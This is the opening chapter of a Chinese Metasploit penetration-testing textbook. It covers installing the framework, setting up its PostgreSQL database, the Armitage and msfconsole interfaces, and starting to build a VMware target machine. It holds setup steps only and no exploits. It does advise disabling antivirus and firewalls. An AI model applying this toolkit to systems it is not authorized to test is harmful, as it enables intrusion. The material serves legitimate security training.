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  第1章　环境配置
 
如果要使用Metasploit实施渗透攻击，需要在系统中安装该工具，并且配置对应的攻击靶机。在Kali Linux中，默认已经安装了Metasploit。但是在其他操作系统中，都没有安装该工具。所以，为了方便用户后面的操作，本章将介绍Metasploit工具的环境配置方法。
1.1　Metasploit概述
 
Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。而且它还提供了许多个接口，其最受欢迎的是由Rapid 7和Strategic Cyber LLC公司维护的。由Rapid 7和Strategic Cyber LLC公司维护的接口包括Metasploit Framework Edition、Metasploit Community Edition、Metasploit Express、Metasploit Pro、Armitage和Cobalt strike。其中，Metasploit Framework（命令行接口）和Armitage（图形界面接口）是较常用的两种，并且是免费的。本书将选择使用Metasploit Framework（命令行接口，即MSFCONSOLE）接口来实施渗透攻击。
1.2　安装要求
 
为了能够顺利地安装Metasploit工具，需要先了解该工具对系统硬件、架构等的需求。由于Metasploit是一款漏洞扫描并实施攻击的工具，所以可能会被系统的杀毒软件或防火墙等拦截。本节将介绍Metasploit工具的安装要求。
 
1．系统需求
 
·2GHz及以上的处理器；

·4GB可用内存（建议8GB）；

·1GB以上的可用磁盘空间（建议50GB）。
 
2．支持的平台（64位架构）
 
·Red Hat Enterprise Linux Server 5.10及以上；

·Red Hat Enterprise Linux Server 6.5及以上；

·Red Hat Enterprise Linux Server 7.1及以上；

·Ubuntu Linux 10.04 LTS；

·Ubuntu Linux 12.04 LTS；

·Ubuntu Linux 14.04 LTS（建议）；

·Ubuntu Linux 16.04 LTS；

·Kali Linux；

·Windows Server 2008 R2；

·Windows Server 2012 R2；

·Windows 7 SP1+；

·Windows 8.1；

·Windows 10。
 
3．禁用杀毒软件
 
当系统中运行有杀毒软件时，将会检测到Metasploit Framework为恶意软件，并且可能导致它的安装和运行出现问题。Metasploit Framework利用了与杀毒软件检测到的相同漏洞，因此，当安装Metasploit Framework时，杀毒软件将会阻止安装，并且提醒用户可能存在影响系统的安全风险。
 
如果想要安装Metasploit Framework，在安装之前禁用所有杀毒软件。如果不能禁用杀毒软件的话，则需要设置杀毒软件不对Metasploit进行扫描。
 
4．禁用防火墙
 
本地防火墙（包括Windows防火墙）会干扰渗透攻击和攻击载荷的操作。如果安装Metasploit Framework时开启防火墙的话，防火墙将探测到Metasploit Framework为恶意软件，中断其下载。
 
因此，在安装和运行Metasploit Framework之前，需要禁用本地防火墙。如果必须在安装有防火墙的计算机上操作，那么应该从外部网络下载Metasploit Framework。
 
5．获取管理员权限
 
为了能够成功地在系统上安装Metasploit Framework，必须有该系统的管理员权限。
1.3　安装Metasploit Framework
 
在用户准备好Metasploit的安装需求后，就可以开始安装Metasploit Framework了。该工具可以安装在Windows、Linux及Mac OS X系统中。本节将介绍在各种操作系统下安装Metasploit Framework的步骤。
1.3.1　获取安装包
 
Metasploit Framework的下载地址为https://www.rapid7.com/products/metasploit/download/editions/。在浏览器中输入该地址后，将显示如图1.1所示的页面。
 
 
 [image: ] 


图1.1　Metasploit Framework下载页面
 
可以看到，该页面中提供了3个版本，分别是专业版（Pro，免费试用14天）、社区版（Community）和Framework。本例中将选择下载Framework。在该页面单击Framework下面的Free Download按钮，将跳转到GitHub网站，这里提供了各种操作系统平台的安装和下载方法，如图1.2所示。
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图1.2　下载Metasploit Framework安装包
 
[image: ]提示：当打开Metasploit Framework包下载页面时，下载地址及安装包是折叠的，需要展开才可以看到其链接。
 
从图1.2中可以看到页面中分别提供了Linux、Mac OS X和Windows安装包。而且，所提供的Linux安装包包括.deb和.rpm格式。其中，.deb包提供了i386、amd64、armhf和arm64这4个版本；.rpm包只提供了64-bit x86。
1.3.2　在Windows系统中安装Metasploit
 
【实例1-1】在Windows下安装Metasploit Framework。具体操作步骤如下：
 
（1）双击运行已下载的安装包，将打开如图1.3所示对话框。
 
（2）该对话框为安装Metasploit-framework的欢迎界面，单击Next按钮，进入用户许可协议对话框，如图1.4所示。
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图1.3　欢迎安装向导
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图1.4　许可协议
 
（3）该对话框提示用户是否接受许可协议。这里勾选I accept the terms in the License Agreement复选框，然后单击Next按钮，进入安装位置对话框，如图1.5所示。
 
（4）该对话框用来设置Metasploit Framework的安装位置，默认将安装在C盘。如果希望安装到其他位置，可以单击Browse按钮，修改安装位置。然后，单击Next按钮，进入准备安装对话框，如图1.6所示。
 
（5）该对话框提示将开始安装，如果确定之前的配置无误，单击Install按钮将开始安装，如图1.7所示。如果需要进行修改，可以单击Back按钮。安装完成后，显示如图1.8所示对话框。表示Metasploit Framework已经安装成功了。单击Finish按钮，退出安装向导界面。
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图1.5　选择安装位置
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图1.6　准备安装
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图1.7　正在安装
 
 
 [image: ] 


图1.8　安装完成
 
现在，就可以启动Metasploit Framework了。启动方法如下：
 
（1）进入Metasploit Framework安装位置。本例中的安装位置是C盘，此时在C盘下面可以看到一个名为metasploit-framework的文件夹。
 
（2）依次打开metasploit-framework|bin目录，如图1.9所示。
 
（3）双击msfconsole.bat可执行文件，即可启动Metasploit Framework。成功启动后，如图1.10所示。
 
（4）看到窗口中显示的msf5>提示符，则表示已成功启动了Metasploit。接下来就可以使用该框架提供的模块及攻击载荷实施渗透了。
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图1.9　Metasploit Framework中可执行的命令
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图1.10　成功启动Metasploit
1.3.3　在Linux系统中安装Metasploit
 
在Linux下，提供了两种安装Metasploit Framework工具的方法。一种方法是GitHub托管网站提供的快速安装，另一种是使用二进制包（.rpm或.deb）手动安装。下面分别介绍这两种方法。
 
1．快速安装
 
【实例1-2】在Linux下快速安装Metasploit Framework。执行命令如下：
 


[root@RHEL ~]# curl https://raw.githubusercontent.com/rapid7/metasploit-

omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.

erb > msfinstall && chmod 755 msfinstall && ./msfinstall


 
执行完以上命令后，开始下载Metasploit Framework安装包，然后安装Metasploit Framework。安装成功后，显示Complete（完成）提示信息如下：
 


Installed:

  metasploit-framework.x86_64 0:5.0.2+20190118142505~1rapid7-1.el6

Complete!


 
看到以上提示信息，则表示成功安装了Metasploit。接下来，在终端执行msfconsole命令，即可启动该工具。
 
使用以上方法安装成功后，Metasploit将被安装在/opt/metasploit-framework目录中。其中，所有可执行的命令在/opt/metasploit-framework/bin目录下。所以，启动Metasploit需要进入该目录下，执行对应的脚本文件。启动如下：
 


[root@RHEL ~]# cd /opt/metasploit-framework/bin/

[root@RHEL bin]# ./msfconsole

msf5 >


 
看到msf5>提示符则表示已成功启动了Metasploit。
 
2．手动安装
 
使用手动安装方法也非常简单，只需要执行一条命令即可。首先从GitHub网站提供的下载链接中获取安装包，然后使用rpm命令安装。执行命令如下：
 


[root@RHEL ~]# rpm -ivh metasploit-framework-5.0.2+20190118142505~1rapid7-

1.el6.x86_64.rpm 

 warning: metasploit-framework-5.0.2+20190118142505~1rapid7-1.el6.x86_64.

 rpm : Header V4 RSA/SHA256 Signature, key ID 2007b954: NOKEY

Preparing...                  ################################ [100%]

   1:metasploit-framework   ################################ [100%]

Run msfconsole to get started


 
看到以上输出信息，表示已成功安装了Metasploit Framework。接下来，便可以在终端执行msfconsole命令启动该工具了。
1.3.4　在OS X系统中安装Metasploit
 
在OS X下，用户也可以使用1.3.3节中的快速方法来安装Metasploit Framework。如果用户不喜欢使用命令行方式操作，也可以使用图形界面的方式来安装。下面介绍如何在OS X下使用图形界面的方式来安装Metasploit Framework。
 
【实例1-3】在OS X下使用图形界面的方式安装Metasploit Framework。具体操作步骤如下：
 
（1）双击下载的安装包，打开如图1.11所示对话框。
 
（2）该对话框是安装Metasploit Framework的欢迎界面，单击“继续”按钮，进入软件许可协议对话框，如图1.12所示。
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图1.11　欢迎对话框
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图1.12　软件许可协议
 
（3）在其中可以看到安装Metasploit的许可协议信息，单击“继续”按钮，弹出是否同意许可协议的对话框，如图1.13所示。
 
（4）单击“同意”按钮，表示接受许可协议，进入安装Metasploit对话框，如图1.14所示。
 
（5）单击“安装”按钮，开始安装Metasploit工具。安装完成后，如图1.15所示。
 
（6）单击“关闭”按钮，退出Metasploit的安装界面。接下来，就可以启动Metasploit工具了。
 
在OS X下，Metasploit默认被安装在/opt/metasploit-framework目录下。如果要启动Metasploit，进入/opt/metasploit-framework/bin目录下，运行msfconsole可执行文件，即可启动该工具。启动命令如下：
 


localhost:~ root# cd /opt/metasploit-framework/bin

localhost:~ root# ./msfconsole

msf5 >
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图1.13　同意许可协议
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图1.14　安装Metasploit
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图1.15　安装成功
1.4　安装及连接PostgreSQL数据库服务
 
PostgreSQL是一个免费的对象-关系数据库服务，用来存储一些数据记录。Metasploit启动后，会选择连接PostgreSQL数据库服务，然后就可以完整地利用MSF数据库查询exploit和记录了。在Kali Linux系统中，启动Metasploit后，将自动连接到PostgreSQL服务的Postgres数据库。但是，在其他系统中，需要手动连接该数据库。本节将介绍安装及连接PostgreSQL数据库服务的方法。
1.4.1　安装PostgreSQL数据库服务
 
在大部分系统中，默认并不会安装PostgreSQL数据库服务。所以，如果要使用该数据库，需要先在系统中进行安装。PostgreSQL数据库服务的下载地址为http://www.postgresql.org/download/。
 
在浏览器中输入该地址后，将打开如图1.16所示的页面。
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图1.16　PostgreSQL数据库下载
 
在该页面中可选择下载各种平台的安装包。在大部分Linux发行版中都自带了PostgreSQL的二进制包，所以用户可以直接安装。下面将演示在Windows中安装PostgreSQL数据库的方法。
 
【实例1-4】在Windows 7中安装PostgreSQL数据库。具体操作步骤如下：
 
（1）双击下载的安装包，将打开如图1.17所示对话框。
 
（2）该界面是安装PostgreSQL数据库的欢迎界面。单击Next按钮，进入安装位置对话框，如图1.18所示。
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图1.17　欢迎界面
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图1.18　安装目录
 
[image: ]提示：安装PostgreSQL的分区最好是NTFS格式的。PostgreSQL的首要任务是保证数据的完整性，而FAT和FAT32文件系统不能提供这样的可靠性保障，而且FAT文件系统本身缺乏安全性保障，无法保证原始数据在未经授权的情况下被更改。此外，PostgreSQL所使用的“多分点”功能完成表空间的这一特征在FAT文件系统下无法实现。然而，在某些系统中，只有一种FAT分区。在这种情况下，可以正常安装PostgreSQL，但不要进行数据库的初始化工作。安装完成后，在FAT分区上手动执行initdb.exe程序即可，但不能保证其安全性和可靠性，并且建立表空间也会失败。
 
（3）选择PostgreSQL数据库的安装位置。本例中将使用默认路径，然后单击Next按钮，进入选择组件安装对话框，如图1.19所示。
 
（4）在其中选择将要安装的组件，这里使用默认设置，选择所有组件。然后单击Next按钮，进入数据目录对话框，如图1.20所示。
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图1.19　选择组件
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图1.20　数据目录存储位置
 
（5）该对话框用来设置PostgreSQL数据库的数据存放目录，本例使用默认的位置。然后单击Next按钮，进入用户密码设置对话框，如图1.21所示。
 
（6）在其中为数据库超级用户postgres设置密码。一定要记住这个密码，在连接数据库时需要输入该密码。然后，单击Next按钮，进入数据库端口监听对话框，如图1.22所示。
 
（7）在其中设置数据库监听的端口，这里使用默认端口。然后，单击Next按钮，进入高级选项设置对话框，如图1.23所示。
 
（8）在其中可以设置数据库存储区域的运行时环境（字符编码格式），这里选择默认设置，即Default locale选项。然后，单击Next按钮，进入预安装摘要信息对话框，如图1.24所示。
 
（9）在其中显示了数据库将要安装的位置文件信息。单击Next按钮，进入PostgreSQL数据库安装对话框，如图1.25所示。
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图1.21　设置postgres数据库用户密码
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图1.22　设置数据库监听端口
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图1.23　高级选项
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图1.24　预安装摘要信息
 
（10）该对话框表示目前已经配置好PostgreSQL了，可以开始安装该数据库了。此时，单击Next按钮，开始安装该数据库。安装完成后，如图1.26所示。
 
（11）从中可以看到，默认将要启动Stack Builder来下载并安装额外的工具、应用程序和驱动程序，以进一步完善PostgreSQL的安装。但是，该操作必须在联网状态下执行。本例中安装PostgreSQL数据库只是为了简单地与Metasploit连接，并保存一些数据。所以，这里不启动StackBuilder，即取消复选框的勾选。然后，单击Finish按钮完成数据库的安装。
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图1.25　准备安装
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图1.26　安装完成
1.4.2　初始化PostgreSQL数据库
 
为了便于存储数据，Metasploit会使用特定的用户名来访问PostgresSQL数据库，并将数据保存在自有的数据库中。所以，在启动Metasploit之前，需要先初始化数据库。在初始化过程中，Metasploit会在PostgreSQL中建立一个专用账户msf，并创建对应的数据库。操作过程如下：
 
1．启动PostgreSQL数据库服务
 
为了方便渗透测试人员操作，Metasploit提供了专门的数据库服务管理命令。下面依次讲解数据库服务的启动和关闭方法。
 
（1）启动PostgreSQL数据库服务，执行的命令如下：
 


root@daxueba:~# msfdb start

[+] Starting database


 
输出信息表示数据库服务已经成功启动了。
 
（2）当不使用Metasploit时，为了节省系统资源，可以停止PostgreSQL数据库服务，执行的命令如下：
 


root@daxueba:~# msfdb stop

[+] Stopping database


 
输出信息表示数据库已经成功禁止了。
 
成功启动PostgreSQL数据库服务，PostgeSQL会监听5432端口。查看该端口是否被监听，执行命令如下：
 


root@daxueba:~# ss -ant

State    Recv-Q   Send-Q        Local Address:Port        Peer Address:Port    

LISTEN   0         128               127.0.0.1:5432             0.0.0.0:*       

LISTEN   0         128               127.0.0.1:5433             0.0.0.0:*       

LISTEN   0         128                 0.0.0.0:44797            0.0.0.0:*       

LISTEN   0         128                 0.0.0.0:41959            0.0.0.0:*       

LISTEN   0         128                     [::]:39031               [::]:*       

LISTEN   0         128                     [::1]:5432               [::]:*       

LISTEN   0         128                     [::1]:5433               [::]:*       

LISTEN   0         128                     [::]:44235               [::]:*    


 
从Local Address：Port列中可以看到，127.0.0.1：5432表示5432端口已经被监听。
 
2．初始化数据库
 
初始化数据库，执行命令如下：
 


root@daxueba:~# msfdb init


 
输出信息如下：
 


[+] Starting database

[+] Creating database user 'msf'

为新角色输入的口令: 

再输入一遍: 

[+] Creating databases 'msf'                        #创建msf数据库

[+] Creating databases 'msf_test'                    #创建msf_test数据库

[+] Creating configuration file '/usr/share/metasploit-framework/config/

database.yml'                                        #创建配置文件

[+] Creating initial database schema


 
输出信息表示成功创建了Metasploit的专用数据库msf和msf_test，并且创建了配置文件database.yml。输出信息的第3行和第4行表示为创建的数据库名自动生成密码，它将自动保存到配置文件中。最后一行信息表示创建了初始化数据库模式。
 
查看配置文件database.yml中的信息，可以看到msf和msf_test数据库的相关信息，如密码和端口号等。执行命令如下：
 


root@daxueba:~# cat /usr/share/metasploit-framework/config/database.yml


 
输出信息如下：
 


development:

  adapter: postgresql

  database: msf                                                #数据库名

  username: msf                                                #用户名

  password: eX2wVC53WcKaSdAKDHs+/ZumzfRCV3Xi3bnVe7t1bRw=    #密码

  host: localhost                                            #主机名

  port: 5432                                                    #端口号

  pool: 5                                                    #连接池连接数

  timeout: 5                                                    #连接的超时时间



production:

  adapter: postgresql

  database: msf

  username: msf

  password: eX2wVC53WcKaSdAKDHs+/ZumzfRCV3Xi3bnVe7t1bRw=

  host: localhost

  port: 5432

  pool: 5

  timeout: 5



test:

  adapter: postgresql

  database: msf_test

  username: msf

  password: eX2wVC53WcKaSdAKDHs+/ZumzfRCV3Xi3bnVe7t1bRw=

  host: localhost

  port: 5432

  pool: 5

  timeout: 5


 
如果用户不再保留Metasploit的数据库，可以将其删除并停止数据库服务。命令如下：
 


root@daxueba:~# msfdb delete


 
输出信息如下：
 


[i] Database already started

[+] Dropping databases 'msf'                            #删除数据库msf

[+] Dropping databases 'msf_test'                        #删除数据库msf_test

[+] Dropping database user 'msf'

[+] Deleting configuration file /usr/share/metasploit-framework/config/

database.yml                                                #删除配置文件

[+] Stopping database                                    #停止数据库


 
输出信息表示成功删除了数据库msf和msf_test，最后一行信息表示此时数据库服务被停止。
 
3．重置数据库
 
如果数据库已经初始化过，就不能再使用msfdb init命令进行初始化了，否则将显示如下信息：
 


root@daxueba:~# msfdb init


 
输出信息如下：
 


[i] Database already started

[i] The database appears to be already configured, skipping initialization


 
输出信息表示数据库已经配置好了，自动跳过初始化过程。
 
如果需要再次初始化数据库，就需要执行以下命令：
 


root@daxueba:~# msfdb reinit


 
输出信息如下：
 


[i] Database already started                            #删除原有的数据库

[+] Dropping databases 'msf'

[+] Dropping databases 'msf_test'

[+] Dropping database user 'msf'

[+] Deleting configuration file /usr/share/metasploit-framework/config/

database.yml

[+] Stopping database                                    #停用数据库

[+] Starting database                                    #启用数据库

[+] Creating database user 'msf'                        #创建数据库

为新角色输入的口令: 

再输入一遍: 

[+] Creating databases 'msf'

[+] Creating databases 'msf_test'

[+] Creating configuration file '/usr/share/metasploit-framework/config/

database.yml'

[+] Creating initial database schema


 
输出信息表示，先删除了原有的数据库然后停用。之后再启用数据库创建新的数据库。
 
4．查看数据库状态
 
为了快速了解到此时数据库的状态，可以使用msfdb status命令检查服务状态。如果使用msfdb stop命令停用了数据库，查看服务状态时将显示如下信息：
 


root@daxueba:~# msfdb status


 
输出信息如下：
 


● postgresql.service - PostgreSQL RDBMS

   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; 

vendor preset: disabled)

   Active: inactive (dead)



4月 03 14:41:01 daxueba systemd[1]: Stopped PostgreSQL RDBMS.

4月 03 14:41:06 daxueba systemd[1]: Starting PostgreSQL RDBMS...

4月 03 14:41:06 daxueba systemd[1]: Started PostgreSQL RDBMS.

4月 03 14:44:13 daxueba systemd[1]: Stopped PostgreSQL RDBMS.

4月 03 14:44:17 daxueba systemd[1]: Starting PostgreSQL RDBMS...

4月 03 14:44:17 daxueba systemd[1]: Started PostgreSQL RDBMS.

4月 03 14:47:44 daxueba systemd[1]: Stopped PostgreSQL RDBMS.

4月 03 14:48:46 daxueba systemd[1]: Starting PostgreSQL RDBMS...

4月 03 14:48:46 daxueba systemd[1]: Started PostgreSQL RDBMS.

4月 03 14:49:22 daxueba systemd[1]: Stopped PostgreSQL RDBMS.   #停用了数据库

[i] No network service running

[+] Detected configuration file (/usr/share/metasploit-framework/config/

database.yml)


 
输出信息的倒数第二行表示，此时没有运行的网络服务，最后一行信息表示检测到配置文件，说明初始化数据库时创建数据库生成的配置文件没有被删除。
 
如果使用msfdb delete命令删除创建的数据库，查看服务状态时将显示如下信息：
 


root@daxueba:~# msfdb status


 
输出信息如下：
 


● postgresql.service - PostgreSQL RDBMS

   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled;

   vendor preset: disabled)

   Active: inactive (dead)



4月 03 14:44:13 daxueba systemd[1]: Stopped PostgreSQL RDBMS.

4月 03 14:44:17 daxueba systemd[1]: Starting PostgreSQL RDBMS...

4月 03 14:44:17 daxueba systemd[1]: Started PostgreSQL RDBMS.

4月 03 14:47:44 daxueba systemd[1]: Stopped PostgreSQL RDBMS.

4月 03 14:48:46 daxueba systemd[1]: Starting PostgreSQL RDBMS...

4月 03 14:48:46 daxueba systemd[1]: Started PostgreSQL RDBMS.

4月 03 14:49:22 daxueba systemd[1]: Stopped PostgreSQL RDBMS.

4月 03 14:56:25 daxueba systemd[1]: Starting PostgreSQL RDBMS...

4月 03 14:56:25 daxueba systemd[1]: Started PostgreSQL RDBMS.

4月 03 14:57:38 daxueba systemd[1]: Stopped PostgreSQL RDBMS. #停用了数据库

[i] No network service running

[i] No configuration file found


 
输出信息最后两行表示既没有运行的网络服务，也没有检查到配置文件。
 
如果只使用msfdb start命令启用数据库，而没有使用msfdb init命令初始化数据库，查看服务状态时将显示如下信息：
 


root@daxueba:~# msfdb status


 
输出信息如下：
 


● postgresql.service - PostgreSQL RDBMS

   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled;

   vendor preset: disabled)

   Active: active (exited) since Tue 2018-04-03 15:33:03 CST; 2s ago

  Process: 6845 ExecStart=/bin/true (code=exited, status=0/SUCCESS)

 Main PID: 6845 (code=exited, status=0/SUCCESS)



4月 03 15:33:03 daxueba systemd[1]: Starting PostgreSQL RDBMS...

4月 03 15:33:03 daxueba systemd[1]:Started PostgreSQL RDBMS.  #启用了数据库



COMMAND      PID   USER     FD  TYPE DEVICE     SIZE/OFF  NODE      NAME

postgres  6811  postgres 3u  IPv6 117845 0t0   TCP   localhost:5432 (LISTEN)

postgres  6811  postgres 6u  IPv4 117846  0t0   TCP   localhost:5432 (LISTEN)



UID        PID       PPID    C     STIME     TTY    STAT    TIME     CMD

postgres 6811  1  0  15:32  ?  S  0:00  /usr/lib/postgresql/9.6/bin/postgres -D /



[i] No configuration file found


 
输出信息可以看到此时的数据库是启用的，最后一行信息表示没有发现配置文件，说明此时没有进行初始化数据库。
 
初始化数据库以后，再次查看服务状态，最后一行信息如下：
 


 [+] Detected configuration file (/usr/share/metasploit-framework/config/

 database.yml)


 
5．直接启动Metasploit
 
初始化数据库以后就可以启动数据库，并运行Metasploit了。执行命令如下：
 


root@daxueba:~# msfdb run

[i] Database already started

                                                  

                 _---------.

             .' #######   ;."

  .---,.    ;@             @@`;   .---,..

." @@@@@'.,'@@            @@@@@',.'@@@@ ".

'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;

   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'

     "--'.@@@  -.@        @ ,'-   .'--"

          ".@' ; @       @ `.  ;'

            |@@@@ @@@     @    .

             ' @@@ @@   @@    ,

              `.@@@@    @@   .

                ',@@     @   ;           _____________

                 (   3 C    )     /|___ / Metasploit! \

                 ;@'. __*__,."    \|--- \_____________/

                  '(.,...."/

       =[ metasploit v5.0.1-dev                           ]

+ -- --=[ 1851 exploits - 1046 auxiliary - 321 post       ]

+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]

+ -- --=[ 2 evasion                                       ]

+ -- --=[ ** This is Metasploit 5 development branch **   ]

msf5 >


1.4.3　连接PostgreSQL数据库
 
除了使用msfdb命令，也可以在Metasploit中直接连接数据库。操作过程如下：
 
1．查看数据库状态
 
在连接数据库之前，需要先了解当前的数据库处于什么状态，可以使用Metasploit子命令db_status来查看数据库状态。
 
（1）启动Metasploit，执行命令如下：
 


root@daxueba:~# msfconsole

msf5 >


 
（2）查看数据库状态，执行命令如下：
 


msf5 > db_status

[*] postgresql selected, no connection


 
输出信息显示，Metasploit默认选择的是PostgreSQL数据库服务，但是还没有连接到任何数据库。
 
2．连接数据库
 
此时，就可以使用Metasploit子命令db_connect连接到现有的数据库了。其语法格式有以下两种：
 
第一种：
 


db_connect <user:pass>@<host:port>/<database>


 
其中，user表示用户名，pass表示密码，host表示PostgreSQL服务所在的主机IP，port表示监听的端口号，database表示数据库名。
 
第二种：
 


db_connect -y [path/to/database.yml]


 
其中，-y表示指定配置文件，path/to/database.yml表示配置文件。
 
通过配置文件可以看到数据库的相关信息如下：
 


production:

  adapter: postgresql

  database: msf

  username: msf

  password: 8CpuBLruzRZ/UrWU5lHeK3142yAmeCh3JQhxXlVM4oQ=

  host: localhost

  port: 5432

  pool: 5

  timeout: 5


 
根据数据库信息，使用db_connect命令连接数据库，执行命令如下：
 


msf5 > db_connect msf:8CpuBLruzRZ/UrWU5lHeK3142yAmeCh3JQhxXlVM4oQ=@127.

0.0.1:5432/msf

Connected to Postgres data service: 127.0.0.1/msf


 
从输出的信息可以看到，已连接到Postgres数据库服务。
 
（3）再次查看数据库状态，执行命令如下：
 


msf5 > db_status

[*] Connected to msf. Connection type: postgresql. Connection name: wqX77aje.


 
输出信息表示Metasploit已经成功地连接上了PostgreSQL的msf数据库。
 
3．断开数据库连接
 
当用户不再需要与当前的数据库连接时，可以使用数据库命令db_disconnect断开连接。
 
（1）断开与当前数据库的连接，直接执行命令如下：
 


msf5 > db_disconnect

Successfully disconnected from the data service: local_db_service.


 
从输出的信息可以看到，已经成功断开了与本地数据库服务的连接。
 
（2）查看数据库状态，执行命令如下：
 


msf5 > db_status

[*] postgresql selected, no connection


 
输出信息表示已成功地断开了连接。
1.4.4　手动创建Metasploit专有用户/数据库
 
在1.4.2节中进行数据库初始化时，会默认创建msf和msf_test数据库，并且保存在配置文件database.yml中。如果用户不想查找该文件或该文件丢失了，还可以手动创建数据库账户。
 
（1）启动PostgreSQL数据库服务，执行命令如下：
 


root@daxueba:~# msfdb start

[+] Starting database


 
（2）切换到postgre账户，执行命令如下：
 


root@daxueba:~# su postgres

postgres@daxueba:/root$ 


 
输出信息表示成功切换为postgre账户。
 
（3）创建数据库账户。例如，创建名为msf2的数据库账户。执行命令如下：
 


postgres@daxueba:/root$ createuser msf2 -P

为新角色输入的口令:                                #需要手动输出密码

再输入一遍:                                    #再次输出密码


 
输出信息时需要输入数据库账户msf2的密码，这里使用的密码为123456。
 
（4）创建数据库，执行命令如下：
 


postgres@daxueba:/root$ createdb --owner=msf2 msf6


 
其中，owner参数指定数据库所有者，这里为msf2；msf6表示数据库名。
 
（5）启动Metasploit，执行命令如下：
 


root@daxueba:~# msfconsole

msf5 >


 
（6）建立连接，执行命令如下：
 


msf5 > db_connect msf2:123456@127.0.0.1/msf6

Connected to Postgres data service: 127.0.0.1/msf6


 
输出信息表示已经连接到数据库msf6。
1.5　Metasploit用户接口
 
Metasploit框架为其基础功能提供了多个用户接口，包括终端、命令行和图像界面等。在最新的版本中，命令行接口已被废弃，其功能都被整合到了MSF终端接口中。除了这些接口，功能程序则提供了对Metasploit框架中内部功能的直接访问。本节将介绍Metasploit的用户接口。
1.5.1　图形界面接口——Armitage
 
Armitage组件是Metasploit框架中一个完全交互式的图形化用户接口，由Raphael Mudge所开发。Armitage工具包含Metasploit控制台，通过使用其标签特性，用户可以看到多个Metasploit控制台或多个Meterpreter会话。但是，本书不会深入介绍Armitage接口的使用，而是只讲解和分析Metasploit的输入和输出。用户只要了解了Metasploit框架的实际工作原理，那么这个图形界面工具的使用就很容易了。下面将简单介绍Armitage接口的使用。
 
【实例1-5】在Kali Linux中使用Armitage。其中，该工具已经默认安装在Kali Linux中，所以可以直接使用。具体操作步骤如下：
 
（1）启动Postgresql数据库服务。在使用Armitage工具前，必须启动Postgresql数据库服务，并且还需要初始化数据库。否则，将无法运行Armitage工具。因为Armitage需要连接到PostgreSQL服务，才可以启动。执行命令如下：
 


root@Kali:~# service postgresql start            #启动PostgreSQL数据库服务

root@Kali:~# msfdb init                            #初始化数据库

Creating database user 'msf'

为新角色输入的口令: 

再输入一遍: 

Creating databases 'msf' and 'msf_test'

Creating configuration file in /usr/share/metasploit-framework/config/

database.yml

Creating initial database schema


 
从以上输出信息中，可以看到已经自动创建了msf和msf_test数据库。如果没有初始化数据库，启动Armitage工具后将弹出如图1.27所示的消息框。
 
[image: ]提示：从Kali Linux 2018.2开始，默认已经初始化了数据库。用户无须执行以上的操作，直接启动Armitage工具即可。
 
（2）启动Armitage工具。在Kali桌面依次选择“应用程序”|“漏洞利用工具集”|armitage命令，如图1.28所示。或者在终端运行armitage命令启动Armitage工具，命令如下：
 


root@kali:~# armitage


 
（3）Armitage工具启动后，显示界面如图1.29所示。
 
（4）其中显示了连接Metasploit服务的基本信息。单击Connect按钮，弹出如图1.30所示对话框。
 
（5）该对话框提示是否要启动Metasploit的RPC服务。单击“是（Y）”按钮，弹出如图1.31所示对话框。
 
（6）该对话框中显示了连接Metasploit的一个进度条。当成功连接到Metasploit服务后，将显示如图1.32所示对话框。
 
（7）该对话框共有3个部分，这里把它们分别标记为A、B和C。
 
·A：显示的是预配置模块。用户可以在模块列表中使用空格键搜索Metasploit提供的模块。

·B：显示活跃的目标系统，用户可以利用目标系统进行漏洞攻击。

·C：显示多个Metasploit标签。这样，就可以运行多个Meterpreter命令或控制台会话，并且同时显示。
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图1.27　无法找到数据库文件
 
 
 [image: ] 


图1.28　Armitage启动界面
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图1.29　连接Metasploit界面
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图1.30　启动Metasploit RPC服务
 
例如，对目标主机实施Nmap Ping扫描，则依次选择Hosts|Nmap Scan|Ping Scan命令，即可对目标主机进行Ping扫描，如图1.33所示。
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图1.31　连接Metasploit的进度条
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图1.32　Armitage初始界面
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图1.33　实施Nmap Ping扫描的菜单项
1.5.2　终端接口——Msfconsole
 
MSF终端（Msfconsole）是目前Metasploit框架最为流行的用户接口，而且MSF终端是Metasploit框架中最灵活、功能最丰富及支持最好的工具之一。MSF终端提供了一站式的接口，能设置Metasploit框架中几乎每一个选项和配置。用户可以使用MSF终端做任何事情，包括发起一次渗透攻击、装载辅助模块、实施查点、创建监听器，或是对整个网络进行自动化渗透攻击等。
1.6　配置虚拟靶机
 
虚拟靶机是指通过软件模拟的具有完整硬件系统功能，并且运行在一个完全隔离环境中的完整计算机系统。当用户成功安装及配置Metasploit后，即可使用该工具实施渗透攻击了。但是，如果要练习渗透攻击，则需要有对应的攻击靶机。为了使用户不因没有太多的物理机来练习渗透而烦恼，本节将介绍配置虚拟靶机的方法。
1.6.1　创建虚拟靶机
 
目前，最流行的虚拟机软件有Virtual PC、VirtualBox和VMware Workstation。笔者认为VMware Workstation虚拟机简洁、更容易操作，所以推荐用户使用这款虚拟机软件。下面介绍在VMware Workstation虚拟机软件中创建虚拟靶机的方法。
 
其中，VMware Workstation的下载地址是：
 


http://www.vmware.com/cn/products/workstation/workstation-evaluation。


 
下载完成后，双击该软件包即可将VMware安装到当前计算机中。由于VMware的安装简单，直接单击“下一步”按钮就可以，所以这里不介绍该软件的安装过程了。接下来，将演示在VMware上创建虚拟靶机的方法。
 
【实例1-6】在VMware中创建虚拟靶机。下面将以Kali Linux系统为例，介绍创建虚拟靶机的方法。具体操作步骤如下：
 
（1）启动VMware虚拟机。成功启动后，显示如图1.34所示的页面。
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图1.34　VMware的主页面
 
（2）用户可以在该页面单击“创建新的虚拟机”图标，创建虚拟靶机；也可以在菜单栏中依次选择“文件”|“新建虚拟机（N）”命令来创建新的虚拟机。单击“创建新的虚拟机”图标后，将进入使用新建虚拟机向导对话框，如图1.35所示。
 
